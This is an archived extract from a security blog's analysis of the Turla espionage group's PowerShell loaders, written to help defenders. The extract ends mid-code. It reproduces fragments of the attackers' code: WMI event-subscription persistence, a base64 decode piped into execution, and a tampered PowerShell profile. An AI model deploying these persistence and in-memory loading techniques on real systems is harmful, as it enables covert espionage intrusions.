A dive into Turla PowerShell usage By Matthieu FaouRomain Dumont Archived: 2026-04-05 17:19:22 UTC Turla, also known as Snake, is an infamous espionage group recognized for its complex malware. To confound detection, its operators recently started using PowerShell scripts that provide direct, in-memory loading and execution of malware executables and libraries. This allows them to bypass detection that can trigger when a malicious executable is dropped on disk. Turla is believed to have been operating since at least 2008, when it successfully breached the US military. More recently, it was involved in major attacks against the German Foreign Office and the French military. This is not the first time Turla has used PowerShell in-memory loaders to increase its chances of bypassing security products. In 2018, Kaspersky Labs published a report that analyzed a Turla PowerShell loader that was based on the open-source project Posh-SecMod. However, it was quite buggy and often led to crashes. After a few months, Turla has improved these scripts and is now using them to load a wide range of custom malware from its traditional arsenal. The victims are quite usual for Turla. We identified several diplomatic entities in Eastern Europe that were compromised using these scripts. However, it is likely the same scripts are used more globally against many traditional Turla targets in Western Europe and the Middle East. Thus, this blogpost aims to help defenders counter these PowerShell scripts. We will also present various payloads, including an RPC-based backdoor and a backdoor leveraging OneDrive as its Command and Control (C&C) server. PowerShell Loader The PowerShell loader has three main steps: persistence, decryption and loading into memory of the embedded executable or library. Persistence The PowerShell scripts are not simple droppers; they persist on the system as they regularly load into memory only the embedded executables. We have seen Turla operators use two persistence methods: A Windows Management Instrumentation (WMI) event subscription Alteration of the PowerShell profile (profile.ps1 file). Windows Management Instrumentation In the first case, attackers create two WMI event filters and two WMI event consumers. The consumers are simply command lines launching base64-encoded PowerShell commands that load a large PowerShell script stored in the https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ Page 1 of 13 Windows registry. Figure 1 shows how the persistence is established. Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-W $NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{name='S Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'"| Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'Log Adapt $IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInsta $VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='Log Adapter Fil Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Cons Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'"| Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'AD Bridge $IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedDat $VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='AD Bridge Filte Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Cons Figure 1. Persistence using WMI These events will run respectively at 15:30:40 and when the system uptime is between 300 and 400 seconds. The variable $HL39fjh contains the base64-encoded PowerShell command shown in Figure 2. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload. [System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(")) | ie Figure 2. WMI consumer PowerShell command Finally, the script stores the encrypted payload in the Windows registry. Note that the attackers seem to use a different registry location per organization. Thus, it is not a useful indicator to detect similar intrusions. Profile.ps1 In the latter case, attackers alter the PowerShell profile. According to the Microsoft documentation: A PowerShell profile is a script that runs when PowerShell starts. You can use the profile as a logon script to customize the environment. You can add commands, aliases, functions, variables, snap-ins, modules, and PowerShell drives. Figure 3 shows a PowerShell profile modified by Turla. try { $SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} | % {Invoke-WmiMethod -InputObject https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ Page 2 of 13 if ("$SystemProc" -ne "") { $([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("$([DateTime]::Now.ToString('G')): STARTE [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbg kill $PID; } } catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("$([DateTime]::Now.ToString('G')): $_